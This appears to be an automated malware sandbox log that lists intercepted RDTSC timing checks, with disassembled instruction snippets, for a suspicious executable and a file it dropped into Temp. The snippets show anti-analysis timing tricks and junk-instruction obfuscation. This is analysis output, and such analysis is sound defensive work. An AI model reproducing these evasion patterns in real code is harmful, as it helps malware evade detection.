Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8031A second address: 4B8031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8031E second address: 4B80339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F4BEE9EFA1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4B7CC118BBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80339 second address: 4B8036B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F4B7CC5D43Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4B7CC5D3ADh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8045F second address: 4B80465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80465 second address: 4B8046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8046B second address: 4B8046F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B7076D second address: 4B70773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B70773 second address: 4B707BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4B7CC118C0h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, 6C009094h 0x00000016 push edi 0x00000017 mov cx, 31DFh 0x0000001b pop eax 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov si, di 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4B7CC118C3h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B707BE second address: 4B707CD instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B707CD second address: 4B707D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B707D1 second address: 4B707E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B707E8 second address: 4B7081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 754Ah 0x00000007 call 00007F4B7CC118BBh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F4B7CC118C4h 0x00000016 mov dword ptr [esp], ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B7081C second address: 4B70820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B70820 second address: 4B70826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B70826 second address: 4B7084B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B7084B second address: 4B7084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B7084F second address: 4B70855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B808DA second address: 4B808E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B808E2 second address: 4B80904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov ebx, 03D771F2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4B7CC5D3B0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80904 second address: 4B8090A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8090A second address: 4B80973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F4B7CC5D3AAh 0x0000000b adc cl, 00000038h 0x0000000e jmp 00007F4B7CC5D3ABh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007F4B7CC5D3B6h 0x0000001f mov ebp, esp 0x00000021 jmp 00007F4B7CC5D3B0h 0x00000026 cmp dword ptr [769B459Ch], 05h 0x0000002d pushad 0x0000002e mov eax, 6F81D39Dh 0x00000033 mov ebx, eax 0x00000035 popad 0x00000036 je 00007F4BEEA2B43Eh 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80973 second address: 4B80977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80977 second address: 4B8097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8097B second address: 4B80981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80981 second address: 4B80994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC5D3AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80994 second address: 4B809CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F4B7CC118C1h 0x00000012 or esi, 6B431446h 0x00000018 jmp 00007F4B7CC118C1h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80AAD second address: 4B80B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4B7CC5D3ADh 0x00000015 add cx, B5E6h 0x0000001a jmp 00007F4B7CC5D3B1h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F4B7CC5D3B0h 0x00000026 xor al, FFFFFF88h 0x00000029 jmp 00007F4B7CC5D3ABh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80B0D second address: 4B80B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90BBA second address: 4B90C61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c mov ax, bx 0x0000000f pushfd 0x00000010 jmp 00007F4B7CC5D3ABh 0x00000015 and cx, F9DEh 0x0000001a jmp 00007F4B7CC5D3B9h 0x0000001f popfd 0x00000020 popad 0x00000021 mov esi, dword ptr [ebp+0Ch] 0x00000024 jmp 00007F4B7CC5D3AEh 0x00000029 test esi, esi 0x0000002b pushad 0x0000002c push eax 0x0000002d movsx edx, si 0x00000030 pop ecx 0x00000031 movsx edx, cx 0x00000034 popad 0x00000035 je 00007F4BEEA1AB4Bh 0x0000003b pushad 0x0000003c mov ebx, eax 0x0000003e pushfd 0x0000003f jmp 00007F4B7CC5D3B8h 0x00000044 jmp 00007F4B7CC5D3B5h 0x00000049 popfd 0x0000004a popad 0x0000004b cmp dword ptr [769B459Ch], 05h 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F4B7CC5D3ADh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90C61 second address: 4B90CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4BEE9E70D7h 0x0000000f jmp 00007F4B7CC118BEh 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 jmp 00007F4B7CC118BEh 0x0000001b push ecx 0x0000001c pushfd 0x0000001d jmp 00007F4B7CC118C1h 0x00000022 and si, 9846h 0x00000027 jmp 00007F4B7CC118C1h 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 mov ebx, 2D7DDCFCh 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9E827A second address: 9E82B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4B7CC5D3A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F4B7CC5D3A6h 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 popad 0x00000017 jc 00007F4B7CC5D3CBh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4B7CC5D3B5h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FA4FB second address: 9FA505 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B7CC118BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FA6AB second address: 9FA6C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FA6C2 second address: 9FA6C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD471 second address: 9FD475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD475 second address: 9FD4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 xor dword ptr [esp], 53C9B0FFh 0x0000000e pushad 0x0000000f mov dword ptr [ebp+122D2C22h], ebx 0x00000015 add esi, dword ptr [ebp+122D2C67h] 0x0000001b popad 0x0000001c push 00000003h 0x0000001e mov ecx, dword ptr [ebp+122D2EB7h] 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 or edx, dword ptr [ebp+122D2D4Bh] 0x0000002d pop ecx 0x0000002e push 00000003h 0x00000030 adc edi, 78001D50h 0x00000036 call 00007F4B7CC118B9h 0x0000003b jmp 00007F4B7CC118C0h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 je 00007F4B7CC118C4h 0x00000049 jmp 00007F4B7CC118BEh 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD4DB second address: 9FD502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4B7CC5D3A6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4B7CC5D3B3h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD502 second address: 9FD508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD508 second address: 9FD50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD50C second address: 9FD510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD510 second address: 9FD572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jns 00007F4B7CC5D3AEh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F4B7CC5D3ACh 0x00000019 pop eax 0x0000001a push edx 0x0000001b jmp 00007F4B7CC5D3ABh 0x00000020 pop ecx 0x00000021 mov cl, ADh 0x00000023 lea ebx, dword ptr [ebp+12451332h] 0x00000029 pushad 0x0000002a mov dword ptr [ebp+122D2C1Dh], ebx 0x00000030 xor edi, dword ptr [ebp+122D2DEFh] 0x00000036 popad 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F4B7CC5D3B2h 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD572 second address: 9FD576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD5C6 second address: 9FD5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD5CA second address: 9FD5D4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD5D4 second address: 9FD5DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD5DA second address: 9FD60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F4B7CC118BAh 0x0000000f nop 0x00000010 or dword ptr [ebp+122D2BACh], edx 0x00000016 sbb esi, 5D31C502h 0x0000001c push 00000000h 0x0000001e movsx edx, cx 0x00000021 call 00007F4B7CC118B9h 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD60D second address: 9FD612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD612 second address: 9FD64C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F4B7CC118C4h 0x00000012 jg 00007F4B7CC118B6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD64C second address: 9FD669 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B7CC5D3ACh 0x00000008 jnp 00007F4B7CC5D3A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F4B7CC5D3A6h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD669 second address: 9FD69C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F4B7CC118C2h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD69C second address: 9FD734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F4B7CC5D3A8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 pushad 0x00000025 mov di, F49Dh 0x00000029 sub dword ptr [ebp+122D1D03h], ecx 0x0000002f popad 0x00000030 add dword ptr [ebp+122D1F58h], esi 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D5B0Eh], eax 0x00000040 push 00000003h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F4B7CC5D3A8h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c push edi 0x0000005d mov dword ptr [ebp+122D3161h], ecx 0x00000063 pop ecx 0x00000064 call 00007F4B7CC5D3A9h 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F4B7CC5D3B5h 0x00000071 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD7EB second address: 9FD7F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD7F1 second address: 9FD824 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B7CC5D3B4h 0x00000008 jmp 00007F4B7CC5D3AEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4B7CC5D3B8h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD898 second address: 9FD8AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118BFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD8AB second address: 9FD8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD8AF second address: 9FD8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b jmp 00007F4B7CC118C0h 0x00000010 pop ecx 0x00000011 pop ecx 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D31B5h], edx 0x00000019 push 00000000h 0x0000001b or edx, dword ptr [ebp+122D302Bh] 0x00000021 pushad 0x00000022 mov ebx, ecx 0x00000024 mov edi, 5B7957B4h 0x00000029 popad 0x0000002a push FAF53725h 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD8EE second address: 9FD8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD8F2 second address: 9FD93B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b add dword ptr [esp], 050AC95Bh 0x00000012 sub dword ptr [ebp+122D1FE5h], edx 0x00000018 mov dword ptr [ebp+122D1C49h], ecx 0x0000001e push 00000003h 0x00000020 mov dword ptr [ebp+122D25BCh], ecx 0x00000026 push 00000000h 0x00000028 mov dx, si 0x0000002b push 00000003h 0x0000002d push FCA902C5h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F4B7CC118C3h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9FD93B second address: 9FD950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F300 second address: A1F30A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F30A second address: A1F316 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B7CC5D3AEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F316 second address: A1F321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1F321 second address: A1F327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1D878 second address: A1D8B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C7h 0x00000007 jno 00007F4B7CC118B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F4B7CC118C9h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: 9F0B1A second address: 9F0B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4B7CC5D3A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DA46 second address: A1DA50 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4B7CC118BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DDE1 second address: A1DDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DDE5 second address: A1DDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	RDTSC instruction interceptor: First address: A1DDEB second address: A1DDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
